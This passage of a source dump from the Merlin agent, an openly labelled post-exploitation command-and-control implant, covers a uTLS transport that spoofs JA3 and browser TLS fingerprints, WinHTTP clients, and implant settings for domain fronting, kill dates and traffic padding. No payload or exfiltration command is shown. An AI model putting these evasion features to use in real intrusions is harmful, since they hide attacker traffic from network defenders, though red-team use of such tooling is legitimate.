variables for protocol %s: %s\", protocol, p))\n\t\tproxy = http.ProxyFromEnvironment\n\t}\n\treturn proxy, nil\n}\n"
  },
  {
    "path": "http/utls/utls.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n/*\nhttps://github.com/CUCyber/ja3transport/\n\nMIT License\n\nCopyright (c) 2019 CU Cyber\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*/\n\npackage utls\n\nimport (\n\t// Standard\n\t\"bufio\"\n\t\"context\"\n\t\"crypto/sha256\"\n\tt \"crypto/tls\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t// X-Packages\n\t\"golang.org/x/net/http2\"\n\n\t// 3rd Party\n\ttls \"github.com/refraction-networking/utls\"\n)\n\n// tlsExtensions is a TLSExtension objects associated with their extension number\n// https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#tls-extensiontype-values-1\nvar tlsExtensions = map[string]tls.TLSExtension{\n\t\"0\": &tls.SNIExtension{},\n\t\"5\": &tls.StatusRequestExtension{},\n\t// These are applied later\n\t// \"10\": &tls.SupportedCurvesExtension{...}\n\t// \"11\": &tls.SupportedPointsExtension{...}\n\t\"13\": &tls.SignatureAlgorithmsExtension{\n\t\tSupportedSignatureAlgorithms: []tls.SignatureScheme{\n\t\t\ttls.ECDSAWithP256AndSHA256,\n\t\t\ttls.PSSWithSHA256,\n\t\t\ttls.PKCS1WithSHA256,\n\t\t\ttls.ECDSAWithP384AndSHA384,\n\t\t\ttls.PSSWithSHA384,\n\t\t\ttls.PKCS1WithSHA384,\n\t\t\ttls.PSSWithSHA512,\n\t\t\ttls.PKCS1WithSHA512,\n\t\t\ttls.PKCS1WithSHA1,\n\t\t},\n\t},\n\t\"16\": &tls.ALPNExtension{\n\t\tAlpnProtocols: []string{\"h2\", \"http/1.1\"},\n\t},\n\t\"17\": &tls.StatusRequestV2Extension{},\n\t\"18\": &tls.SCTExtension{},\n\t//\"21\": &tls.UtlsPaddingExtension{GetPaddingLen: tls.BoringPaddingStyle},\n\t\"21\": &tls.UtlsPaddingExtension{GetPaddingLen: CustomPaddingStyle},\n\t\"22\": &tls.GenericExtension{Id: 22},\n\t\"23\": &tls.ExtendedMasterSecretExtension{},\n\t\"24\": &tls.FakeTokenBindingExtension{},\n\t\"27\": &tls.UtlsCompressCertExtension{},\n\t\"28\": &tls.FakeRecordSizeLimitExtension{},\n\t\"34\": &tls.FakeDelegatedCredentialsExtension{}, // delegated_credentials\n\t\"35\": &tls.SessionTicketExtension{},\n\t//\"41\": &tls.GenericExtension{Id: 41},\n\t\"43\": &tls.SupportedVersionsExtension{Versions: []uint16{\n\t\ttls.GREASE_PLACEHOLDER,\n\t\ttls.VersionTLS13,\n\t\ttls.VersionTLS12,\n\t\ttls.VersionTLS11,\n\t\ttls.VersionTLS10}},\n\t\"44\": &tls.CookieExtension{},\n\t\"45\": &tls.PSKKeyExchangeModesExtension{\n\t\tModes: []uint8{\n\t\t\ttls.PskModeDHE,\n\t\t}},\n\t\"51\":    &tls.KeyShareExtension{KeyShares: []tls.KeyShare{}},\n\t\"13172\": &tls.NPNExtension{},\n\t\"17513\": &tls.ApplicationSettingsExtension{},\n\t\"65281\": &tls.RenegotiationInfoExtension{\n\t\tRenegotiation: tls.RenegotiateOnceAsClient,\n\t},\n}\n\n// NewTransportFromJA3 creates a new http.Transport object given an utls.Config\nfunc NewTransportFromJA3(ja3 string, InsecureSkipVerify bool, proxy func(*http.Request) (*url.URL, error)) (*Transport, error) {\n\tspec, err := JA3toClientHello(ja3)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttlsConfig := &t.Config{\n\t\tInsecureSkipVerify: InsecureSkipVerify, // #nosec G402 - intentionally configurable to allow self-signed certificates\n\t}\n\n\ttransport := Transport{\n\t\tclientHello:     tls.HelloCustom,\n\t\tclientHelloSpec: spec,\n\t\ttr1:             http.Transport{MaxIdleConns: 10, IdleConnTimeout: 1 * time.Nanosecond, TLSClientConfig: tlsConfig},\n\t\ttr2:             http2.Transport{TLSClientConfig: tlsConfig},\n\t\tproxy:           proxy,\n\t}\n\treturn &transport, nil\n}\n\n// NewTransportFromParrot takes in a string that represents a ClientHelloID to parrot a TLS connection that\n// looks like an associated browser and returns a http transport structure\nfunc NewTransportFromParrot(parrot string, InsecureSkipVerify bool, proxy func(*http.Request) (*url.URL, error)) (*Transport, error) {\n\tclientHello, err := ParrotStringToClientHelloID(parrot)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttlsConfig := &t.Config{\n\t\tInsecureSkipVerify: InsecureSkipVerify, // #nosec G402 - intentionally configurable to allow self-signed certificates\n\t}\n\n\ttransport := Transport{\n\t\tclientHello: clientHello,\n\t\ttr1:         http.Transport{MaxIdleConns: 10, IdleConnTimeout: 1 * time.Nanosecond, TLSClientConfig: tlsConfig},\n\t\ttr2:         http2.Transport{TLSClientConfig: tlsConfig},\n\t\tproxy:       proxy,\n\t}\n\treturn &transport, nil\n}\n\n// JA3toClientHello creates a ClientHelloSpec based on a JA3 string\n// JA3 string format: SSLVersion,Cipher,SSLExtension,EllipticCurve,EllipticCurvePointFormat\nfunc JA3toClientHello(ja3 string) (*tls.ClientHelloSpec, error) {\n\t// Remove Unicode dashes\n\t// Unicode Hyphen U+2010\n\tja3 = strings.ReplaceAll(ja3, \"‐\", \"-\")\n\t// Unicode Non-Breaking Hyphen U+2011\n\tja3 = strings.ReplaceAll(ja3, \"‑\", \"-\")\n\t// Unicode En Dash U+2013\n\tja3 = strings.ReplaceAll(ja3, \"–\", \"-\")\n\n\t// Split the JA3 string into tokens\n\ttokens := strings.Split(ja3, \",\")\n\tif len(tokens) != 5 {\n\t\treturn nil, fmt.Errorf(\"ja3transport: the provided ja3 string did not contain five comma separated fields\")\n\t}\n\n\t// Parse JA3 string fields\n\tversion := tokens[0]\n\tciphers := strings.Split(tokens[1], \"-\")\n\textensions := strings.Split(tokens[2], \"-\")\n\tcurves := strings.Split(tokens[3], \"-\")\n\tpointFormats := strings.Split(tokens[4], \"-\")\n\n\t// Parse SSLVersion\n\tvid64, err := strconv.ParseUint(version, 10, 16)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"ja3transport: unable to convert SSLVersion %s to an integer: %s\", version, err)\n\t}\n\t// Add SSLVersion to ClientHelloSpec structure\n\tclientHello := tls.ClientHelloSpec{\n\t\tTLSVersMin: uint16(vid64),\n\t\tTLSVersMax: uint16(vid64),\n\t}\n\ttlsExtensions[\"43\"] = &tls.SupportedVersionsExtension{\n\t\tVersions: []uint16{uint16(vid64)},\n\t}\n\n\t// Parse CipherSuites\n\tfor _, c := range ciphers {\n\t\tcid, err := strconv.ParseUint(c, 10, 16)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"ja3transport: unable to convert CipherSuites %s to an integer: %s\", c, err)\n\t\t}\n\t\t// Add CipherSuites to ClientHelloSpec structure\n\t\tclientHello.CipherSuites = append(clientHello.CipherSuites, uint16(cid))\n\t}\n\n\t// Parse EllipticCurve\n\tif len(curves) == 1 && curves[0] == \"\" {\n\t\tcurves = []string{}\n\t} else if len(curves) > 0 {\n\t\tvar targetCurves []tls.CurveID\n\t\tfor _, c := range curves {\n\t\t\tcid, err := strconv.ParseUint(c, 10, 16)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\ttargetCurves = append(targetCurves, tls.CurveID(cid))\n\t\t}\n\t\ttlsExtensions[\"10\"] = &tls.SupportedCurvesExtension{Curves: targetCurves}\n\t}\n\n\t// Parse EllipticCurvePointFormat\n\tif len(pointFormats) == 1 && pointFormats[0] == \"\" {\n\t\tpointFormats = []string{}\n\t} else if len(pointFormats) > 0 {\n\t\tvar targetPointFormats []byte\n\t\tfor _, p := range pointFormats {\n\t\t\tpid, err := strconv.ParseUint(p, 10, 8)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\ttargetPointFormats = append(targetPointFormats, byte(pid))\n\t\t}\n\t\ttlsExtensions[\"11\"] = &tls.SupportedPointsExtension{SupportedPoints: targetPointFormats}\n\t}\n\n\t// Parse SSLExtension\n\t// Needs to happen AFTER elliptic curve data is added to the global extension map\n\tfor _, e := range extensions {\n\t\textension, ok := tlsExtensions[e]\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"ja3transport: TLS extension %s does not exist in package extension map\", e)\n\t\t}\n\t\t// Add SSLExtensions to ClientHelloSpec structure\n\t\tclientHello.Extensions = append(clientHello.Extensions, extension)\n\t}\n\n\tclientHello.GetSessionID = sha256.Sum256\n\tclientHello.CompressionMethods = []byte{0}\n\treturn &clientHello, nil\n}\n\n// ParrotStringToClientHelloID reads in a string that represents a uTLS ClientHelloID and returns the real ClientHelloID object\n// https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_common.go#L150\nfunc ParrotStringToClientHelloID(parrot string) (clientHello tls.ClientHelloID, err error) {\n\tswitch strings.ToLower(parrot) {\n\t// Valid options are tied to uTLS version 1.1.5\n\tcase strings.ToLower(\"HelloGolang\"):\n\t\tclientHello = tls.HelloGolang\n\tcase strings.ToLower(\"HelloCustom\"):\n\t\tclientHello = tls.HelloCustom\n\tcase strings.ToLower(\"HelloRandomized\"):\n\t\tclientHello = tls.HelloRandomized\n\tcase strings.ToLower(\"HelloRandomizedALPN\"):\n\t\tclientHello = tls.HelloRandomizedALPN\n\tcase strings.ToLower(\"HelloRandomizedNoALPN\"):\n\t\tclientHello = tls.HelloRandomizedNoALPN\n\tcase strings.ToLower(\"HelloFirefox_Auto\"):\n\t\tclientHello = tls.HelloFirefox_Auto\n\tcase strings.ToLower(\"HelloFirefox_55\"):\n\t\tclientHello = tls.HelloFirefox_55\n\tcase strings.ToLower(\"HelloFirefox_56\"):\n\t\tclientHello = tls.HelloFirefox_56\n\tcase strings.ToLower(\"HelloFirefox_63\"):\n\t\tclientHello = tls.HelloFirefox_63\n\tcase strings.ToLower(\"HelloFirefox_65\"):\n\t\tclientHello = tls.HelloFirefox_65\n\tcase strings.ToLower(\"HelloFirefox_99\"):\n\t\tclientHello = tls.HelloFirefox_99\n\tcase strings.ToLower(\"HelloFirefox_102\"):\n\t\tclientHello = tls.HelloFirefox_102\n\tcase strings.ToLower(\"HelloFirefox_105\"):\n\t\tclientHello = tls.HelloFirefox_105\n\tcase strings.ToLower(\"HelloChrome_Auto\"):\n\t\tclientHello = tls.HelloChrome_Auto\n\tcase strings.ToLower(\"HelloChrome_58\"):\n\t\tclientHello = tls.HelloChrome_58\n\tcase strings.ToLower(\"HelloChrome_62\"):\n\t\tclientHello = tls.HelloChrome_62\n\tcase strings.ToLower(\"HelloChrome_70\"):\n\t\tclientHello = tls.HelloChrome_70\n\tcase strings.ToLower(\"HelloChrome_72\"):\n\t\tclientHello = tls.HelloChrome_72\n\tcase strings.ToLower(\"HelloChrome_83\"):\n\t\tclientHello = tls.HelloChrome_83\n\tcase strings.ToLower(\"HelloChrome_87\"):\n\t\tclientHello = tls.HelloChrome_87\n\tcase strings.ToLower(\"HelloChrome_96\"):\n\t\tclientHello = tls.HelloChrome_96\n\tcase strings.ToLower(\"HelloChrome_100\"):\n\t\tclientHello = tls.HelloChrome_100\n\tcase strings.ToLower(\"HelloChrome_102\"):\n\t\tclientHello = tls.HelloChrome_102\n\tcase strings.ToLower(\"HelloIOS_Auto\"):\n\t\tclientHello = tls.HelloIOS_Auto\n\tcase strings.ToLower(\"HelloIOS_11_1\"):\n\t\tclientHello = tls.HelloIOS_11_1\n\tcase strings.ToLower(\"HelloIOS_12_1\"):\n\t\tclientHello = tls.HelloIOS_12_1\n\tcase strings.ToLower(\"HelloIOS_13\"):\n\t\tclientHello = tls.HelloIOS_13\n\tcase strings.ToLower(\"HelloIOS_14\"):\n\t\tclientHello = tls.HelloIOS_14\n\tcase strings.ToLower(\"HelloAndroid_11_OkHttp\"):\n\t\tclientHello = tls.HelloAndroid_11_OkHttp\n\tcase strings.ToLower(\"HelloEdge_Auto\"):\n\t\tclientHello = tls.HelloEdge_Auto\n\tcase strings.ToLower(\"HelloEdge_85\"):\n\t\tclientHello = tls.HelloEdge_85\n\tcase strings.ToLower(\"HelloEdge_106\"):\n\t\tclientHello = tls.HelloEdge_106\n\tcase strings.ToLower(\"HelloSafari_Auto\"):\n\t\tclientHello = tls.HelloSafari_Auto\n\tcase strings.ToLower(\"HelloSafari_16_0\"):\n\t\tclientHello = tls.HelloSafari_16_0\n\tcase strings.ToLower(\"Hello360_Auto\"):\n\t\tclientHello = tls.Hello360_Auto\n\tcase strings.ToLower(\"Hello360_7_5\"):\n\t\tclientHello = tls.Hello360_7_5\n\tcase strings.ToLower(\"Hello360_11_0\"):\n\t\tclientHello = tls.Hello360_11_0\n\tcase strings.ToLower(\"HelloQQ_Auto\"):\n\t\tclientHello = tls.HelloQQ_Auto\n\tcase strings.ToLower(\"HelloQQ_11_1\"):\n\t\tclientHello = tls.HelloQQ_11_1\n\tdefault:\n\t\terr = fmt.Errorf(\"ja3transport: unable to convert parrot string %s to a ClientHelloID\", parrot)\n\t}\n\treturn\n}\n\n// dialer is a custom Dialer that facilitates the use of a proxy\ntype dialer struct {\n\taddress string   // Address to establish the network connection to\n\tconn    net.Conn // conn is TCP connection to the proxy\n\tnetwork string   // Network is the network type to use when dialing the proxy, typically \"tcp\"\n}\n\n// DialContext establishes a TCP connection to the provided Address\n// This package uses this function to establish a TCP connection to a proxy\n// The function must implement the net.Dialer interface\n// The input network and address parameters are ignored because they are for the source HTTP request, not the proxy request\nfunc (d *dialer) DialContext(ctx context.Context, network, address string) (conn net.Conn, err error) {\n\tutlsDialer := net.Dialer{\n\t\tTimeout: 30 * time.Second,\n\t}\n\n\tconn, err = utlsDialer.DialContext(ctx, d.network, d.address)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/utls/utls.go: there was an error dialing '%s:%s' for the request to '%s:%s': %s\", d.network, d.address, network, address, err)\n\t\treturn\n\t}\n\td.conn = conn\n\treturn\n}\n\n// Copied from @ox1234 via https://github.com/refraction-networking/utls/issues/16\n\n// Transport is custom http.Transport that switches clients between HTTP/1.1 and HTTP2 depending on which protocol\n// was negotiated during the TLS handshake.\n// It is also used to create a http.Transport structure from a JA3 or parrot string\ntype Transport struct {\n\ttr1             http.Transport\n\ttr2             http2.Transport\n\tmu              sync.RWMutex\n\tclientHello     tls.ClientHelloID\n\tclientHelloSpec *tls.ClientHelloSpec\n\tproxy           func(*http.Request) (*url.URL, error)\n}\n\n// RoundTrip completes the TLS handshake and creates a http client depending on the negotiated http version during the\n// TLS handshake (e.g., http/1.1 or h2). After the handshake, the HTTP request is sent to the destination.\nfunc (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) {\n\tvar conn net.Conn\n\tvar err error\n\n\t// If there is no proxy, establish the TCP connection\n\tif t.proxy == nil {\n\t\t// Identify what port to connect to for manually establishing the TCP connection\n\t\taddress := req.URL.Host\n\t\tif req.URL.Port() == \"\" {\n\t\t\tif req.URL.Scheme == \"http\" {\n\t\t\t\taddress = fmt.Sprintf(\"%s:80\", req.URL.Host)\n\t\t\t} else {\n\t\t\t\taddress = fmt.Sprintf(\"%s:443\", req.URL.Host)\n\t\t\t}\n\t\t}\n\t\tconn, err = net.Dial(\"tcp\", address)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"clients/utls/utls.go RoundTrip(): %w\", err)\n\t\t}\n\t} else {\n\t\t// If there is a proxy, sent the HTTP CONNECT method request before establishing the TLS connection\n\n\t\t// Get the proxy URL\n\t\tvar proxyURL *url.URL\n\t\tproxyURL, err = t.proxy(req)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"clients/utls/utls.go RoundTrip(): there was an error getting the proxy URL: %s\", err)\n\t\t}\n\n\t\t// If the proxy URL is nil, then this request does not use the proxy\n\t\t// Send CONNECT request to proxy\n\t\tif proxyURL != nil {\n\t\t\t// Set up the custom dialer\n\t\t\tu := dialer{\n\t\t\t\tnetwork: \"tcp\",\n\t\t\t\taddress: proxyURL.Host,\n\t\t\t}\n\n\t\t\t// Set up the custom transport\n\t\t\ttrans := &http.Transport{\n\t\t\t\tDisableCompression: true,\n\t\t\t\tDialContext:        u.DialContext,\n\t\t\t}\n\n\t\t\t// Build the CONNECT request for the proxy\n\t\t\tvar proxyReq *http.Request\n\t\t\t// The protocol should match the protocol the proxy is expecting and host:port should be the destination\n\t\t\tconnectURL := fmt.Sprintf(\"%s://%s\", proxyURL.Scheme, req.URL.Host)\n\t\t\tproxyReq, err = http.NewRequest(http.MethodConnect, connectURL, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"clients/utls/utls.go RoundTrip(): there was an error creating the CONNECT request: %w\", err)\n\t\t\t}\n\t\t\tproxyReq.Header.Set(\"User-Agent\", req.UserAgent())\n\n\t\t\t// Send the CONNECT request to the proxy\n\t\t\tvar resp *http.Response\n\t\t\tresp, err = trans.RoundTrip(proxyReq)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"clients/utls/utls.go RoundTrip(): there was an error sending the CONNECT request: %w\", err)\n\t\t\t}\n\n\t\t\tif resp.StatusCode != http.StatusOK {\n\t\t\t\treturn nil, fmt.Errorf(\"clients/utls/utls.go RoundTrip(): there was an error sending the CONNECT request: %s\", resp.Status)\n\t\t\t}\n\t\t\tconn = u.conn\n\t\t}\n\t}\n\n\t// Complete the TLS handshake\n\tuConn, err := t.tlsConnect(conn, req)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"tls connect fail: %w\", err)\n\t}\n\n\tswitch uConn.ConnectionState().NegotiatedProtocol {\n\tcase \"h2\":\n\t\tvar h2Conn *http2.ClientConn\n\t\th2Conn, err = t.tr2.NewClientConn(uConn)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"clients/utls/utls.go RoundTrip(): there was an error creating a new HTTP/2 client connection: %w\", err)\n\t\t}\n\t\treturn h2Conn.RoundTrip(req)\n\tcase \"http/1.1\", \"\":\n\t\terr = req.Write(uConn)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"write http1 tls connection fail: %w\", err)\n\t\t}\n\t\treturn http.ReadResponse(bufio.NewReader(uConn), req)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"clients/utls/utls.go RoundTrip(): unsuported http version: %s\", uConn.ConnectionState().NegotiatedProtocol)\n\t}\n}\n\n// tlsConnect gets a uTLS client from the transports JA3 or parrot string and executes just the TLS handshake\nfunc (t *Transport) tlsConnect(conn net.Conn, req *http.Request) (*tls.UConn, error) {\n\tt.mu.RLock()\n\tconfig := &tls.Config{\n\t\tServerName:         req.URL.Host,\n\t\tInsecureSkipVerify: t.tr1.TLSClientConfig.InsecureSkipVerify,\n\t}\n\n\ttlsConn := tls.UClient(conn, config, t.clientHello)\n\t// Apply the custom TLS configuration to the connection if it exists\n\tif t.clientHelloSpec != nil {\n\t\terr := tlsConn.ApplyPreset(t.clientHelloSpec)\n\t\tif err != nil {\n\t\t\tt.mu.RUnlock()\n\t\t\treturn nil, fmt.Errorf(\"there was an error applying the uTLS ClientHelloSpec: %s\", err)\n\t\t}\n\t}\n\tt.mu.RUnlock()\n\n\tif err := tlsConn.Handshake(); err != nil {\n\t\treturn nil, fmt.Errorf(\"tls handshake fail: %w\", err)\n\t}\n\treturn tlsConn, nil\n}\n\n// CustomPaddingStyle is a function to use with TLS extension ID 21, padding.\n// In order to ensure this TLS extension is always enabled, the function never returns 0 or false like the\n// BoringPaddingStyle function in the uTLS library does. Returns a random number between 0 and 65,535\n// Adapted from https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_tls_extensions.go#L680\n// https://www.rfc-editor.org/rfc/rfc7685.html\nfunc CustomPaddingStyle(unpaddedLen int) (int, bool) {\n\tpad, _ := tls.BoringPaddingStyle(unpaddedLen)\n\tif pad > 0 {\n\t\treturn pad, true\n\t}\n\t// #nosec G404 -- Random number does not impact security\n\treturn rand.Intn(65535), true\n}\n"
  },
  {
    "path": "http/winhttp/winhttp_exclude.go",
    "content": "//go:build !winhttp && (http2 || http3 || mythic || smb || tcp || udp || !windows)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage winhttp\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/http1\"\n)\n\n// NewHTTPClient returns an HTTP/1.1 client using the Windows WinHTTP API\n// A http.DefaultClient is returned if the platform is not Windows\nfunc NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) {\n\tcli.Message(cli.DEBUG, \"http/winhttp/winhttp.go/NewHTTPClient(): Entering into function...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Protocol: %s, Proxy: %s, insecure: %t\", protocol, proxyURL, insecure))\n\tcli.Message(cli.WARN, \"winhttp was not compiled into this binary, using http.DefaultClient\")\n\n\treturn http1.NewHTTPClient(protocol, proxyURL, insecure)\n}\n"
  },
  {
    "path": "http/winhttp/winhttp_windows.go",
    "content": "//go:build http || winhttp || !(http2 || http3 || mythic || smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package winhttp provides HTTP clients using the Windows WinHTTP API\npackage winhttp\n\nimport (\n\t// Standard\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t// 3rd Party\n\twinhttp2 \"github.com/Ne0nd0g/winhttp\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// NewHTTPClient returns an HTTP/1.1 client using the Windows WinHTTP API\nfunc NewHTTPClient(protocol, proxyURL string, insecure bool) (*winhttp2.Client, error) {\n\tcli.Message(cli.DEBUG, \"http/winhttp/winhttp_windows.go/NewHTTPClient(): Entering into function...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Protocol: %s, Proxy: %s, insecure: %t\", protocol, proxyURL, insecure))\n\tclient, err := winhttp2.NewHTTPClient()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttlsConfig := tls.Config{\n\t\tRand:                        nil,\n\t\tTime:                        nil,\n\t\tCertificates:                nil,\n\t\tGetCertificate:              nil,\n\t\tGetClientCertificate:        nil,\n\t\tGetConfigForClient:          nil,\n\t\tVerifyPeerCertificate:       nil,\n\t\tVerifyConnection:            nil,\n\t\tRootCAs:                     nil,\n\t\tNextProtos:                  nil,\n\t\tServerName:                  \"\",\n\t\tClientAuth:                  0,\n\t\tClientCAs:                   nil,\n\t\tInsecureSkipVerify:          insecure,\n\t\tCipherSuites:                nil,\n\t\tSessionTicketsDisabled:      false,\n\t\tClientSessionCache:          nil,\n\t\tUnwrapSession:               nil,\n\t\tWrapSession:                 nil,\n\t\tMinVersion:                  0,\n\t\tMaxVersion:                  0,\n\t\tCurvePreferences:            nil,\n\t\tDynamicRecordSizingDisabled: false,\n\t\tRenegotiation:               0,\n\t\tKeyLogWriter:                nil,\n\t}\n\ttransport := http.Transport{\n\t\tProxy:                  nil,\n\t\tOnProxyConnectResponse: nil,\n\t\tDialContext:            nil,\n\t\tDialTLSContext:         nil,\n\t\tTLSClientConfig:        &tlsConfig,\n\t\tTLSHandshakeTimeout:    0,\n\t\tDisableKeepAlives:      false,\n\t\tDisableCompression:     false,\n\t\tMaxIdleConns:           0,\n\t\tMaxIdleConnsPerHost:    0,\n\t\tMaxConnsPerHost:        0,\n\t\tIdleConnTimeout:        0,\n\t\tResponseHeaderTimeout:  0,\n\t\tExpectContinueTimeout:  0,\n\t\tTLSNextProto:           nil,\n\t\tProxyConnectHeader:     nil,\n\t\tGetProxyConnectHeader:  nil,\n\t\tMaxResponseHeaderBytes: 0,\n\t\tWriteBufferSize:        0,\n\t\tReadBufferSize:         0,\n\t\tForceAttemptHTTP2:      false,\n\t}\n\tclient.Transport = &transport\n\treturn client, nil\n}\n"
  },
  {
    "path": "main.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage main\n\nimport (\n\t// Standard\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/fatih/color\"\n\t\"github.com/google/shlex\"\n\t\"github.com/google/uuid\"\n\n\t\"github.com/Ne0nd0g/merlin-agent/v2/agent\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients/http\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients/smb\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients/tcp\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients/udp\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/run\"\n)\n\n// GLOBAL VARIABLES\n// These are use hard code configurable options during compile time with Go's ldflags -X option\n\n// auth the authentication method the Agent will use to authenticate to the server\nvar auth = \"opaque\"\n\n// addr is the interface and port the agent will use for network connections\nvar addr = \"127.0.0.1:7777\"\n\n// headers is a list of HTTP headers that the agent will use with the HTTP protocol to communicate with the server\nvar headers = \"\"\n\n// host a specific HTTP header used with HTTP communications; notably used for domain fronting\nvar host = \"\"\n\n// httpClient is a string that represents what type of HTTP client the Agent should use (e.g., winhttp, go)\nvar httpClient = \"go\"\n\n// ja3 a string that represents how the Agent should configure it TLS client\nvar ja3 = \"\"\n\n// killdate the date and time, as a unix epoch timestamp, that the agent will quit running\nvar killdate = \"0\"\n\n// listener the UUID of the peer-to-peer listener this agent belongs to, used with delegate messages\nvar listener = \"\"\n\n// maxretry the number of failed connections to the server before the agent will quit running\nvar maxretry = \"7\"\n\n// opaque the EnvU data from OPAQUE registration so the agent can skip straight to authentication\nvar opaque []byte\n\n// padding the maximum size for random amounts of data appended to all messages to prevent static message sizes\nvar padding = \"4096\"\n\n// parrot a string from the https://github.com/refraction-networking/utls#parroting library to mimic a specific browser\nvar parrot = \"\"\n\n// protocol the communication protocol the agent will use to communicate with the server\nvar protocol = \"h2\"\n\n// proxy the address of HTTP proxy to send HTTP traffic through\nvar proxy = \"\"\n\n// proxyUser the username for proxy authentication\nvar proxyUser = \"\"\n\n// proxyPass the password for 